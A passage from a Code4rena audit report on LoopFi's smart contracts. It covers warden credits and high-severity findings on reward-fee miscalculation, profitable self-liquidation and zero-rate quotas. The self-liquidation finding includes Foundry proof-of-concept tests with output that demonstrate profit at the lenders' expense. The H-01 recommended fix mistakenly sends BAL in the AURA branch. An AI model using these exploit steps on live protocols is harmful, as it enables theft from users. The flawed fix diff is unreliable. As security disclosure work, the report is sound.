Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the LoopFi smart contract system written in Solidity. The audit took place between July 25 — August 15, 2024.

Wardens

94 Wardens contributed reports to LoopFi:

1. pkqs90
2. novamanbg
3. Evo
4. Bauchibred
5. hash
6. 0xAlix2 (a_kalout and ali_shehab)
7. rscodes
8. lian886
9. nnez
10. 0xpiken
11. Rhaydden
12. crypticdefense
13. Agontuk
14. hearmen
15. 0x40saoirse
16. Kaysoft
17. 0xbepresent
18. mrMorningstar
19. Spearmint
20. Centaur (Mylifechangefast_eth, Aristos and TheWeb3Mechanic)
21. Afriauditor
22. monrel
23. zhaojohnson
24. 0xc0ffEE
25. lanrebayode77
26. NexusAudits (cheatc0d3 and Zanna)
27. minglei-wang-3570
28. 4B
29. Bigsam
30. Chinmay
31. chaduke
32. 0xhacksmithh
33. Sparrow
34. zzebra83
35. lightoasis
36. jigster
37. AKA8u9K111er
38. Infect3d
39. karsar
40. 0xBugSlayer
41. zhaojie
42. inh3l
43. EPSec (petarP1998 and 1337web3)
44. seaona
45. VAD37
46. Trooper
47. web3km
48. joaovwfreire
49. Nyx
50. 0xINFINITY
51. grearlake
52. Ruhum
53. boraichodrunkenmaster
54. pks_
55. emerald7017
56. thisvishalsingh
57. petarP1998
58. Anirruth
59. 13u9
60. gumgumzum
61. peanuts
62. yashar
63. josephxander
64. ElCid
65. Inspecktor
66. ak1
67. zxriptor
68. JanuaryPersimmon2024
69. ustas
70. emmac002
71. 0xAadi
72. asui
73. Eeyore
74. 0xMax1mus
75. Walter
76. Breeje
77. unRekt (tdey and Gululu)
78. atoko
79. 0xjoaovpsantos
80. jolah1
81. Sungyu
82. y0ng0p3
83. 0xspryon
84. 0XRolko
85. Damola0x
86. BiasedMerc
87. K42
88. jo13

This audit was judged by Koolex.

Final report assembled by thebrittfactor.

Summary

The C4 analysis yielded an aggregated total of 54 unique vulnerabilities. Of these vulnerabilities, 15 received a risk rating in the category of HIGH severity and 39 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 23 reports detailing issues with a risk rating of LOW severity or non-critical.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 LoopFi repository, and is composed of 26 smart contracts written in the Solidity programming language and includes 4562 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

• Malicious Input Handling
• Escalation of privileges
• Arithmetic
• Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (15)

[H-01] AuraVault::claim reward calculation does not deduct fees from reward amount, causing DoS or extra rewards lost

Submitted by crypticdefense, also found by Agontuk and mrMorningstar

AuraVault::claim allows users to claim rewards corresponding to the amount of WETH they are depositing in the same call.

Prior to sending rewards to msg.sender, a percentage of the rewards is sent to the vault locker rewards. However, the percentage of the rewards sent to the vault locker rewards is not deducted from the amount that is sent to the caller. The entire reward amount is sent to msg.sender.

This is problematic, as it creates two possible scenarios:

1. Contract attempts to send more reward tokens than it holds, causing DoS.
2. Contract successfully sends extra reward tokens, essentially stealing rewards from others.

Therefore, the impact ranges from stolen funds to Denial of Service.

Proof of Concept

As users interact with the AuraVault contract, the contract will accumulate rewards through interaction with an external rewards contract, which acts as an ERC-4626 vault.

Users can deposit, withdraw, redeem, and claim rewards:

AuraVault.sol#L275-L310

    /**
     * @notice Allows anyone to claim accumulated rewards by depositing WETH instead
     * @param amounts An array of reward amounts to be claimed ordered as [rewardToken, secondaryRewardToken]
     * @param maxAmountIn The max amount of WETH to be sent to the Vault
     */
    function claim(uint256[] memory amounts, uint256 maxAmountIn) external returns (uint256 amountIn) {
        // Claim rewards from Aura reward pool
        IPool(rewardPool).getReward();

        // Compute assets amount to be sent to the Vault
        VaultConfig memory _config = vaultConfig;
        amountIn = _previewReward(amounts[0], amounts[1], _config);

        // Transfer assets to Vault
        require(amountIn <= maxAmountIn, "!Slippage");
        IERC20(asset()).safeTransferFrom(msg.sender, address(this), amountIn);

        // Compound assets into "asset" balance
        IERC20(asset()).safeApprove(rewardPool, amountIn);
        IPool(rewardPool).deposit(amountIn, address(this));

        // Distribute BAL rewards
@>      IERC20(BAL).safeTransfer(_config.lockerRewards, (amounts[0] * _config.lockerIncentive) / INCENTIVE_BASIS);
@>      IERC20(BAL).safeTransfer(msg.sender, amounts[0]);

        // Distribute AURA rewards
        if (block.timestamp <= INFLATION_PROTECTION_TIME) {
@>          IERC20(AURA).safeTransfer(_config.lockerRewards, (amounts[1] * _config.lockerIncentive) / INCENTIVE_BASIS);
@>          IERC20(AURA).safeTransfer(msg.sender, amounts[1]);
        } else {
            // after INFLATION_PROTECTION_TIME
            IERC20(AURA).safeTransfer(_config.lockerRewards, IERC20(AURA).balanceOf(address(this)));
        }

        emit Claimed(msg.sender, amounts[0], amounts[1], amountIn);
    }

Firstly, rewards are claimed from the Aura reward pool, proceeded by a call to _previewReward() to calculate the amount of WETH the caller must deposit to receive the amount of rewards they have specified.

The issue is with the transferring of rewards. We can see the vault locker rewards receives a percentage of the rewards, calculated by (amounts[0] * _config.lockerIncentive) / INCENTIVE_BASIS).

However, the entire amount of rewards is still sent to the caller, without accounting for the percentage that was just sent to the vault locker rewards. Therefore, this call is sending extra rewards to the caller.

As mentioned, this leads to two scenarios:

1. DoS due to insufficient rewards.
2. Extra rewards successfully sent to the caller, essentially stealing rewards from others.

Consider the following scenario:

1. Alice decides to deposit WETH and claim BAL and AURA rewards via a call to AuraVault::claim. _config.lockerIncentive is set to 1000 and INCENTIVE_BASIS is set to 10000, effectively setting the fee portion to 10%.
2. Alice sets amounts[0] = 100e18 BAL and amount[1] = 100e18 AURA.
3. IPool(rewardPool).getReward(); is called, setting the rewards held in the AuraVault contract to 100e18 BAL and 100e18 AURA.
4. IERC20(BAL).safeTransfer(_config.lockerRewards, (amounts[0] * _config.lockerIncentive) / INCENTIVE_BASIS); call sends 100e18 * 1000 / 10000 = 10e18 BAL tokens to _config.lockerRewards, which is the vault locker rewards.
5. The AuraVault contract now holds 90e18 BAL and 100e18 AURA.
6. IERC20(BAL).safeTransfer(msg.sender, amounts[0]); attempts to send 100e18 BAL to msg.sender; however, 10e18 was already sent to locker rewards, so this call will DoS due to insufficient funds.

The call will revert in the case described above, and Alice would have to specify a lower amount of rewards (i.e., 50e18 BAL and AURA), but we can see that the contract will still send more rewards than intended, effectively stealing rewards from others.

Tools Used

Foundry

Recommended Mitigation Steps

Ensure the amount sent to the locker is deducted from the amount sent to the caller:

    /**
     * @notice Allows anyone to claim accumulated rewards by depositing WETH instead
     * @param amounts An array of reward amounts to be claimed ordered as [rewardToken, secondaryRewardToken]
     * @param maxAmountIn The max amount of WETH to be sent to the Vault
     */
    function claim(uint256[] memory amounts, uint256 maxAmountIn) external returns (uint256 amountIn) {
        // Claim rewards from Aura reward pool
        IPool(rewardPool).getReward();

        // Compute assets amount to be sent to the Vault
        VaultConfig memory _config = vaultConfig;
        amountIn = _previewReward(amounts[0], amounts[1], _config);

        // Transfer assets to Vault
        require(amountIn <= maxAmountIn, "!Slippage");
        IERC20(asset()).safeTransferFrom(msg.sender, address(this), amountIn);

        // Compound assets into "asset" balance
        IERC20(asset()).safeApprove(rewardPool, amountIn);
        IPool(rewardPool).deposit(amountIn, address(this));

        // Distribute BAL rewards
+       uint256 fee = (amounts[0] * _config.lockerIncentive) / INCENTIVE_BASIS;
+       uint256 amount = amounts[0] - fee;
-       IERC20(BAL).safeTransfer(_config.lockerRewards, (amounts[0] * _config.lockerIncentive) / INCENTIVE_BASIS);
-       IERC20(BAL).safeTransfer(msg.sender, amounts[0]);
+       IERC20(BAL).safeTransfer(_config.lockerRewards, fee);
+       IERC20(BAL).safeTransfer(msg.sender, amount);

        // Distribute AURA rewards
        if (block.timestamp <= INFLATION_PROTECTION_TIME) {
+           fee = (amounts[1] * _config.lockerIncentive) / INCENTIVE_BASIS;
+           amount = amounts[1] - fee;
-           IERC20(AURA).safeTransfer(_config.lockerRewards, (amounts[1] * _config.lockerIncentive) / INCENTIVE_BASIS);
-           IERC20(AURA).safeTransfer(msg.sender, amounts[1]);
+           IERC20(BAL).safeTransfer(_config.lockerRewards, fee);
+           IERC20(BAL).safeTransfer(msg.sender, amount);
        } else {
            // after INFLATION_PROTECTION_TIME
            IERC20(AURA).safeTransfer(_config.lockerRewards, IERC20(AURA).balanceOf(address(this)));
        }

        emit Claimed(msg.sender, amounts[0], amounts[1], amountIn);
    }

Assessed type

Error

amarcu (LoopFi) acknowledged and commented via duplicate issue #206:

Acknowledged but we will remove and not use the AuraVault.

[H-02] Liquidation doesn’t account for penalty when calculating collateral to give, allowing users to profit by borrowing and self-liquidating

Submitted by crypticdefense, also found by 0xhacksmithh, mrMorningstar, Bigsam, Chinmay, and pkqs90

CDPVault allows users to borrow underlying from PoolV3 by depositing collateral into the vault, such that the (collateral value of their position / liquidationRatio) >= their current total debt.

Users must repay their debt fully via CDPVault::repay, and the amount must cover their entire current total debt, which also includes various interest factors. If the value of their collateral divided by liquidationRatio is less than the debt of their position, then their position is considered unsafe and anyone can liquidate the position by buying the collateral at a discount. The amount spent by the caller is used to cover for the debt.

To ensure that users cannot profit from self liquidations, the liquidatePosition function incorporates a penalty mechanism, that is intended to deduct fees from the payment amount, which subsequently goes to the protocol as profit.

The problem is that when the liquidatePosition function calculates the collateral to give to the caller, it utilizes the the repay amount without the penalty, essentially functioning as if there is no penalty mechanism at all. The caller can specify any repay amount, and the collateral they receive will correspond directly to repay amount / discount, with no penalty.

This allows malicious users to profit by deposit collateral -> borrow WETH -> have their position become unsafe -> buy collateral with WETH at a discount. Malicious users can profit and steal funds from lenders and the protocol.

The natspec for the CDPVault::liquidatePosition states that “From that repay amount a penalty (liquidationPenalty) is subtracted to mitigate against profitable self liquidations.”

However, we will see in the PoC how this has no impact against profitable self liquidations

Proof of Concept

The following block is executed when users repay their debt:

CDPVault.sol#L402-L426

    } else if (deltaDebt < 0) {
@>      uint256 maxRepayment = calcTotalDebt(debtData);
        uint256 amount = abs(deltaDebt);
        if (amount >= maxRepayment) {
            amount = maxRepayment; // U:[CM-11]
            deltaDebt = -toInt256(maxRepayment);
        }

        poolUnderlying.safeTransferFrom(creditor, address(pool), amount);

        uint128 newCumulativeQuotaInterest;
        if (amount == maxRepayment) {
            newDebt = 0;
            newCumulativeIndex = debtData.cumulativeIndexNow;
            profit = debtData.accruedInterest;
            newCumulativeQuotaInterest = 0;
        } else {
            (newDebt, newCumulativeIndex, profit, newCumulativeQuotaInterest) = calcDecrease(
                amount, // delta debt
                position.debt,
                debtData.cumulativeIndexNow, // current cumulative base interest index in Ray
                position.cumulativeIndexLastUpdate,
                debtData.cumulativeQuotaInterest
            );
        }

For users to completely repay their loan, they must pay maxRepayment amount, which is calculated via a call to calcTotalDebt.

If the position is unsafe (collateral value / liquidation ratio < total debt), then anyone can liquidate it for a discount:

CDPVault.sol#L521-L532

        // load price and calculate discounted price
        uint256 spotPrice_ = spotPrice();
@>      uint256 discountedPrice = wmul(spotPrice_, liqConfig_.liquidationDiscount);
        if (spotPrice_ == 0) revert CDPVault__liquidatePosition_invalidSpotPrice();
        // Ensure that there's no bad debt
        if (calcTotalDebt(debtData) > wmul(position.collateral, spotPrice_)) revert CDPVault__BadDebt();

        // compute collateral to take, debt to repay and penalty to pay
@>      uint256 takeCollateral = wdiv(repayAmount, discountedPrice);
        uint256 deltaDebt = wmul(repayAmount, liqConfig_.liquidationPenalty);
        uint256 penalty = wmul(repayAmount, WAD - liqConfig_.liquidationPenalty);

There is also a penalty that the liquidator must pay (deducted from repayAmount). This is to mitigate profits from self-liquidation, as stated by the natspec of this function:

CDPVault.sol#L503-L504

    /// ... From that repay amount a penalty (`liquidationPenalty`) is subtracted to mitigate against
    /// profitable self liquidations ...

So the actual amount of debt repaid by the liquidator is repayAmount - penalty:

CDPVault.sol#L538-L539

    // transfer the repay amount from the liquidator to the vault
    poolUnderlying.safeTransferFrom(msg.sender, address(pool), repayAmount - penalty);

In the same call, the penalty is also transferred to the pool, taken as a profit for the protocol.

CDPVault.sol#L567-L569

     // Mint the penalty from the vault to the treasury
        poolUnderlying.safeTransferFrom(msg.sender, address(pool), penalty);
        IPoolV3Loop(address(pool)).mintProfit(penalty);

However, there is a critical problem here. We can see that the intention here is that the caller pays repayAmount - penalty for the debt, and that the penalty goes towards profit.

This can be confirmed by observing the amount of debt that is covered via repayment:

CDPVault.sol#L530

     uint256 deltaDebt = wmul(repayAmount, liqConfig_.liquidationPenalty);

Note that repayAmount * liqConfig_.liquidationPenalty is equivalent to repayAmount - penalty. So the debt reduced is repayAmount - penalty. The problem is that the collateral sent to the caller does not incorporate the penalty for liquidation.

Essentially, this makes the penalty redundant, because the caller still receives the full repayAmount of collateral specified, including a discount.

A malicious user can perform the following attack scenario:

1. Deposit collateral via CDPVault::deposit.
2. Borrow WETH via CDPVault::borrow.
3. Have their position become unsafe (i.e., wait until enough debt interest is accrued such that (collateral value of their position / liquidationRatio) < their current total debt).
4. Fully buy back collateral at a discount.

Coded PoC

Note: The value of the discount and penalty were chosen by observing the values currently set in scripts/config.js, they were not chosen arbitrarily.

Add the following to test/unit/CDPVault.t.sol and run forge test --mt testSelfLiquidateProfit -vv:

    function testSelfLiquidateProfit() public {
        mockWETH.mint(address(this), 20e18);

        // discount = 0.98 ether (0.02% discount)
        // penalty = 0.99 ether (0.01% penalty)
        CDPVault vault = createCDPVault(token, 150 ether, 0, 1.25 ether, 0.99 ether, 0.98 ether);
        createGaugeAndSetGauge(address(vault));

        // create position
        uint256 wethBefore = mockWETH.balanceOf(address(this));
        _modifyCollateralAndDebt(vault, 100 ether, 80 ether);
        uint256 wethBorrowed = mockWETH.balanceOf(address(this)) - wethBefore;
        uint256 collateralDeposited = 100 ether;
        console.log("weth borrowed: ", wethBorrowed);
        console.log("collateral deposited: ", collateralDeposited);
        
        address position = address(this);
        uint256 amountUserMustRepay = vault.virtualDebt(position);
        console.log("Amount of debt user must repay: ", amountUserMustRepay);

        // any attempt to liquidate now will revert because position is safe
        vm.expectRevert(bytes4(keccak256("CDPVault__liquidatePosition_notUnsafe()")));
        vault.liquidatePosition(position, 1 ether);

        // user waits some time for price to change so position becomes unsafe (but no bad debt yet)
        // in reality, interest will accrue, however to make this PoC simple we will update spot price (which is another way user can take advantage)
        _updateSpot(0.80 ether);
        (uint256 collateral, uint256 debt , , , , ) = vault.positions(position);

        // calculate amount to repay to fully liquidate position.
        uint256 spotAmt = oracle.spot(address(token));
        uint256 discountPercent = 0.98 ether;
        uint256 discountAmount = wmul(spotAmt, discountPercent);
        uint256 repayFull = wmul(collateral, discountAmount);
        console.log("Amount user is repaying: ", repayFull);
        mockWETH.approve(address(vault), repayFull);

        // fully liquidate position
        wethBefore = mockWETH.balanceOf(address(this));
        uint collateralBefore = token.balanceOf(address(this));
        vault.liquidatePosition(position, repayFull);
        uint256 wethSpent = wethBefore - mockWETH.balanceOf(address(this));
        uint256 collateralReceived = token.balanceOf(address(this)) - collateralBefore;
        console.log("weth spent: ", wethSpent);
        console.log("collateral received: ", collateralReceived);
        
        console.log("Total WETH earned: ", wethBorrowed - wethSpent);
        console.log("collateral lost: ", collateralDeposited -  collateralReceived);

        // confirm that collateral in position is 0
        (collateral, debt, , , , ) = vault.positions(position);
        console.log("collateral remaining in position: ", collateral);
    }

[PASS] testSelfLiquidateProfit() (gas: 3761322)
Logs:
  weth borrowed:  80000000000000000000
  collateral deposited:  100000000000000000000
  Amount of debt user must repay:  80000000000000000000
  Amount user is repaying:  78400000000000000000
  weth spent:  78400000000000000000
  collateral received:  100000000000000000000
  Total WETH earned:  1600000000000000000
  collateral lost:  0
  collateral remaining in position:  0

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.46ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

As displayed in the coded PoC, since the user receives the full amount of collateral without the penalty applied to the amount they receive, the user profits 1.6e18 WETH with the attack scenario described above.

Tools Used

Foundry

Recommended Mitigation Steps

Apply the penalty to repayAmount when calculating the amount of collateral to give to the caller. In addition, ensure that the protocol applies a high enough penalty such that self-liquidators cannot profit from this attack.

    function liquidatePosition(address owner, uint256 repayAmount) external whenNotPaused {
        // validate params
        if (owner == address(0) || repayAmount == 0) revert CDPVault__liquidatePosition_invalidParameters();

        // load configs
        VaultConfig memory config = vaultConfig;
        LiquidationConfig memory liqConfig_ = liquidationConfig;

        // load liquidated position
        Position memory position = positions[owner];
        DebtData memory debtData = _calcDebt(position);

        // load price and calculate discounted price
        uint256 spotPrice_ = spotPrice();
        uint256 discountedPrice = wmul(spotPrice_, liqConfig_.liquidationDiscount);
        if (spotPrice_ == 0) revert CDPVault__liquidatePosition_invalidSpotPrice();
        // Ensure that there's no bad debt
        if (calcTotalDebt(debtData) > wmul(position.collateral, spotPrice_)) revert CDPVault__BadDebt();

        // compute collateral to take, debt to repay and penalty to pay
-       uint256 takeCollateral = wdiv(repayAmount, discountedPrice);
        uint256 deltaDebt = wmul(repayAmount, liqConfig_.liquidationPenalty);
        uint256 penalty = wmul(repayAmount, WAD - liqConfig_.liquidationPenalty);
+       uint256 takeCollateral = wdiv(repayAmount - penalty, discountedPrice);
        if (takeCollateral > position.collateral) revert CDPVault__tooHighRepayAmount();

        // verify that the position is indeed unsafe
        if (_isCollateralized(calcTotalDebt(debtData), wmul(position.collateral, spotPrice_), config.liquidationRatio))
            revert CDPVault__liquidatePosition_notUnsafe();

        // transfer the repay amount from the liquidator to the vault
        poolUnderlying.safeTransferFrom(msg.sender, address(pool), repayAmount - penalty);

        uint256 newDebt;
        uint256 profit;
        uint256 maxRepayment = calcTotalDebt(debtData);
        uint256 newCumulativeIndex;
        if (deltaDebt == maxRepayment) {
            newDebt = 0;
            newCumulativeIndex = debtData.cumulativeIndexNow;
            profit = debtData.accruedInterest;
            position.cumulativeQuotaInterest = 0;
        } else {
            (newDebt, newCumulativeIndex, profit, position.cumulativeQuotaInterest) = calcDecrease(
                deltaDebt, // delta debt
                debtData.debt,
                debtData.cumulativeIndexNow, // current cumulative base interest index in Ray
                debtData.cumulativeIndexLastUpdate,
                debtData.cumulativeQuotaInterest
            );
        }
        position.cumulativeQuotaIndexLU = debtData.cumulativeQuotaIndexNow;
        // update liquidated position
        position = _modifyPosition(owner, position, newDebt, newCumulativeIndex, -toInt256(takeCollateral), totalDebt);

        pool.repayCreditAccount(debtData.debt - newDebt, profit, 0); // U:[CM-11]
        // transfer the collateral amount from the vault to the liquidator
        token.safeTransfer(msg.sender, takeCollateral);

        // Mint the penalty from the vault to the treasury
        poolUnderlying.safeTransferFrom(msg.sender, address(pool), penalty);
        IPoolV3Loop(address(pool)).mintProfit(penalty);

        if (debtData.debt - newDebt != 0) {
            IPoolV3(pool).updateQuotaRevenue(_calcQuotaRevenueChange(-int(debtData.debt - newDebt))); // U:[PQK-15]
        }
    }

Assessed type

Error

0xtj24 (LoopFi) disputed via duplicate issue #58:

The penalty is taken from the liquidator here.

crypticdefense (warden) commented:

@Koolex - This finding is how liquidators must pay repayAmount to the protocol with a penalty to prevent profitable self-liquidations. repayAmount - penalty is used to cover the debt payment, and penalty is given to the protocol for profit. Since repayAmount-penalty is used to cover the debt, the caller should only get repayAmount-penalty worth of collateral. However, the caller receives the full repayAmount value of collateral including the penalty, as if the penalty added towards the debt. This defeats the purpose of the penalty and allows a critical vulnerability where an attacker can borrow and self liquidate at a discount, thus stealing funds from lenders/protocol, as described in the coded PoC.

Koolex (judge) commented:

@crypticdefense - Could you please adjust the PoC to show the same impact when interested accrued?

Ref:

        // user waits some time for price to change so position becomes unsafe (but no bad debt yet)
        // in reality, interest will accrue, however to make this PoC simple we will update spot price (which is another way user can take advantage)

This will help to assess the severity.

crypticdefense (warden) commented:

@Koolex, here is the adjusted PoC that shows the same impact when interest is accrued.

Add the following to test/unit/CDPVault.t.sol and run forge test --mt testSelfLiquidateProfit -vv:

    function testSelfLiquidateProfit() public {
        mockWETH.mint(address(this), 20e18);

        // discount = 0.92 ether (8% discount)
        // penalty = 0.99 ether (0.01% penalty)
        // liquidation ratio = 1.05 ether (105%)
        CDPVault vault = createCDPVault(token, 150 ether, 0, 1.05 ether, 0.99 ether, 0.92 ether);
        createGaugeAndSetGauge(address(vault));

        // create position
        uint256 wethBefore = mockWETH.balanceOf(address(this));
        _modifyCollateralAndDebt(vault, 100 ether, 95 ether);
        uint256 wethBorrowed = mockWETH.balanceOf(address(this)) - wethBefore;
        uint256 collateralDeposited = 100 ether;
        console.log("weth borrowed: ", wethBorrowed);
        console.log("collateral deposited: ", collateralDeposited);
        
        address position = address(this);
        uint256 amountUserMustRepay = vault.virtualDebt(position);
        console.log("Amount of debt user must repay: ", amountUserMustRepay);

        // any attempt to liquidate now will revert because position is safe
        vm.expectRevert(bytes4(keccak256("CDPVault__liquidatePosition_notUnsafe()")));
        vault.liquidatePosition(position, 1 ether);

        // 30 days have now passed, with interest accrued
        vm.warp(block.timestamp + 30 days);

        // new amount user must repay due to debt accrued
        amountUserMustRepay = vault.virtualDebt(position);
        console.log("Amount of debt user must repay after 30 days of interest accrued: ", amountUserMustRepay);

        (uint256 collateral, uint256 debt , , , , ) = vault.positions(position);
        
        // calculate amount to repay to fully liquidate position.
        uint256 collateralSpotPrice = oracle.spot(address(token));
        uint256 discountPercent = 0.92 ether;
        uint256 discountAmount = wmul(collateralSpotPrice, discountPercent);
        uint256 repayFull = wmul(collateral, discountAmount);
        console.log("Amount user is repaying: ", repayFull);
        mockWETH.approve(address(vault), repayFull); 

        // fully liquidate position
        wethBefore = mockWETH.balanceOf(address(this));
        uint collateralBefore = token.balanceOf(address(this));
        vault.liquidatePosition(position, uint256(repayFull));
        
        uint256 wethSpent = wethBefore - mockWETH.balanceOf(address(this));
        uint256 collateralReceived = token.balanceOf(address(this)) - collateralBefore;
        console.log("weth spent: ", wethSpent);
        console.log("collateral received: ", collateralReceived);
        
        console.log("Total WETH earned: ", wethBorrowed - wethSpent);
        console.log("collateral lost: ", collateralDeposited -  collateralReceived);

        // confirm that collateral in position is 0
        (collateral, debt, , , , ) = vault.positions(position);
        console.log("collateral remaining in position: ", collateral);
    }

Ran 1 test for src/test/unit/CDPVault.t.sol:CDPVaultTest
[PASS] testSelfLiquidateProfit() (gas: 3775443)
Logs:
  weth borrowed:  95000000000000000000
  collateral deposited:  100000000000000000000
  Amount of debt user must repay:  95000000000000000000
  Amount of debt user must repay after 30 days of interest accrued:  95788804673650282029
  Amount user is repaying:  92000000000000000000
  weth spent:  92000000000000000000
  collateral received:  100000000000000000000
  Total WETH earned:  3000000000000000000
  collateral lost:  0
  collateral remaining in position:  0

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.38ms (1.44ms CPU time)

Ran 1 test suite in 11.36ms (4.38ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

After 30 days of interest accrued, attacker self-liquidates and receives the full amount of collateral without the penalty applied to the amount they receive, while profiting 3e18 WETH. This wouldn’t be profitable if the penalty was applied to the value of the collateral to give to the liquidator.

Edit: Fixed a mistake that was noted in my first response.

Koolex (judge) commented:

Given the impact demonstrated above, this stays as High.

[H-03] Zero rates on new quoted tokens allow an attacker to take an interest free quota

Submitted by Bauchibred

Take a look here:

function addQuotaToken(address token) external override gaugeOnly {
  if (quotaTokensSet.contains(token)) {
    revert TokenAlreadyAddedException();
  }
  quotaTokensSet.add(token); //@audit rates here are `0` by default.
  totalQuotaParams[token].cumulativeIndexLU = 1;
  emit AddQuotaToken(token);
}

This function is used to add a new token, when the token is added the rates are set to 0 by default up until a general epoch update before the real rate gets set for the token here.

function _checkAndUpdateEpoch() internal {
  uint16 epochNow = IGearStakingV3(voter).getCurrentEpoch(); // U:[GA-14]

  if (epochNow > epochLastUpdate) {
    epochLastUpdate = epochNow; // U:[GA-14]

    if (!epochFrozen) {
      // The quota keeper should call back to retrieve quota rates for needed tokens
      _poolQuotaKeeper().updateRates(); //@audit
    }

    emit UpdateEpoch(epochNow); // U:[GA-14]
  }
}

Which calls this:

function updateRates()
  external
  override
  gaugeOnly // U:[PQK-3]
{
  address[] memory tokens = quotaTokensSet.values();
  uint16[] memory rates = IGaugeV3(gauge).getRates(tokens); // U:[PQK-7]

  uint256 quotaRevenue; // U:[PQK-7]
  uint256 timestampLU = lastQuotaRateUpdate;
  uint256 len = tokens.length;

  for (uint256 i; i < len; ) {
    address token = tokens[i];
    uint16 rate = rates[i];

    TokenQuotaParams storage tokenQuotaParams = totalQuotaParams[token]; // U:[PQK-7]
    (uint16 prevRate, uint192 tqCumulativeIndexLU, ) = _getTokenQuotaParamsOrRevert(
      tokenQuotaParams
    );

    tokenQuotaParams.cumulativeIndexLU = QuotasLogic.cumulativeIndexSince(
      tqCumulativeIndexLU,
      prevRate,
      timestampLU
    ); // U:[PQK-7]

    tokenQuotaParams.rate = rate; // U:[PQK-7]

    quotaRevenue +=
      (IPoolV3(pool).creditManagerBorrowed(creditManagers[token]) * rate) /
      PERCENTAGE_FACTOR; // U:[PQK-7]

    emit UpdateTokenQuotaRate(token, rate); // U:[PQK-7]

    unchecked {
      ++i;
    }
  }

  IPoolV3(pool).setQuotaRevenue(quotaRevenue); // U:[PQK-7]
  lastQuotaRateUpdate = uint40(block.timestamp); // U:[PQK-7]
}

However, the problem is the fact that once this new token is added, and the rate is 0, an attacker can request a huge quota even up to the configured limit without having to pay any interest to the protocol all through the period where rate = 0.

Impact

A malicious user can request a very high quota and not pay any interest all through the period when the rate is defaulted to 0.

Recommended Mitigation Steps

Consider atomically updating the rates in the instance where a new quoted token is added.

Assessed type

Context

0xtj24 (LoopFi) confirmed

Koolex (judge) decreased severity to Medium and commented:

an attacker can request a huge quota even up to the configured limit without having to pay any interest to the protocol.

Requesting from the Warden to elaborate on this, only in PJQA please.

Bauchibred (warden) commented:

@Koolex, what that snippet means is the malicious user can take a completely risk free position while exposing the system since the rate is defaulted to 0; i.e., they can just request a very high quota, which in this case would be the configured maximum for said asset thats’s to be used to limit protocol’s exposure. So in this case they do not pay any interest all throughout this period when these rates are 0, which is why I submitted this as High.

To go into a bit more details on the whole context of the quota logic:

In the current implementation, quotas are used to limit the system’s exposure to some assets, so having zero rates is a direct loss on the protocol since no interest accrues over time with these rates and as such 0 payments get made for the requested quota; allowing the malicious users access to risk-free leveraging on the maximum amount of quota they can get.

Koolex (judge) increased severity to High and commented:

@Bauchibred - can you please provide a PoC on how a user can request a huge quota on zero rate? Not necessarily with code. but a breakdown of the call flow. The above proof lacking this.

Bauchibred (warden) commented:

@Koolex, requesting a huge quota is by just taking up a borrow position against the collateral and whenever calculating the debt from the borrowed position or the revenue change, the methods shown in the report above and dropdown below from PoolQuotaKeeper are used.

Call flow breakdown with code snippets

A user can request a borrow credit against the collateral token here we’d have the deltaDebt to be non-zero which is what I mean by a huge quota. Now for each position there are two fees to be charged, one based on pool utilisation and another based on the quota fees from PoolQuotaKeeperV3 and since the quota interest has been defaulted to zero before the next epoch as hinted in the report whenever paying back the protocol loses out on this interest, (i.e., the quota interest):

https://github.com/code-423n4/2024-07-loopfi/blob/57871f64bdea450c1f04c9a53dc1a78223719164/src/CDPVault.sol#L256-L266

    function borrow(address borrower, address position, uint256 amount) external {
        int256 deltaDebt = toInt256(amount);
        modifyCollateralAndDebt({
            owner: position,
            collateralizer: position,
            creditor: borrower,
            deltaCollateral: 0,
            deltaDebt: deltaDebt
        });
    }

That’s to say when the user decides to repay, or their position is being interacted with the amount of debt is gotten by _calcDebt, but no quota interest is being calculated for them cause while calculating the debt for the position we have 0 interest rate being returned for cumulativeQuotaInterest. As such, it’s not being considered for the overall accrued interest:

https://github.com/code-423n4/2024-07-loopfi/blob/57871f64bdea450c1f04c9a53dc1a78223719164/src/CDPVault.sol#L467-L481

    function _calcDebt(Position memory position) internal view returns (DebtData memory cdd) {
        uint256 index = pool.baseInterestIndex();
        cdd.debt = position.debt;
        cdd.cumulativeIndexNow = index;
        cdd.cumulativeIndexLastUpdate = position.cumulativeIndexLastUpdate;
        cdd.cumulativeQuotaIndexLU = position.cumulativeQuotaIndexLU;
        // Get cumulative quota interest
        (cdd.cumulativeQuotaInterest, cdd.cumulativeQuotaIndexNow) = _getQuotedTokensData(cdd);

        cdd.cumulativeQuotaInterest += position.cumulativeQuotaInterest;

        cdd.accruedInterest = CreditLogic.calcAccruedInterest(cdd.debt, cdd.cumulativeIndexLastUpdate, index);

        cdd.accruedInterest += cdd.cumulativeQuotaInterest;
    }

Note that the cumulativeQuotaInterest that’s been used to define the overall accrued interest is gotten directly from:

https://github.com/code-423n4/2024-07-loopfi/blob/57871f64bdea450c1f04c9a53dc1a78223719164/src/CDPVault.sol#L484-L495

    function _getQuotedTokensData(
        DebtData memory cdd
    ) internal view returns (uint128 outstandingQuotaInterest, uint192 cumulativeQuotaIndexNow) {
        cumulativeQuotaIndexNow = IPoolQuotaKeeperV3(poolQuotaKeeper()).cumulativeIndex(address(token));
        uint128 outstandingInterestDelta = QuotasLogic.calcAccruedQuotaInterest(
            uint96(cdd.debt),
            cumulativeQuotaIndexNow,
            cdd.cumulativeQuotaIndexLU
        );

        outstandingQuotaInterest = outstandingInterestDelta; // U:[CM-24]
    }

Which queries the Quota keeper to get the current index, that’s defined by the rate:

https://github.com/code-423n4/2024-07-loopfi/blob/57871f64bdea450c1f04c9a53dc1a78223719164/src/quotas/PoolQuotaKeeperV3.sol#L87-L93

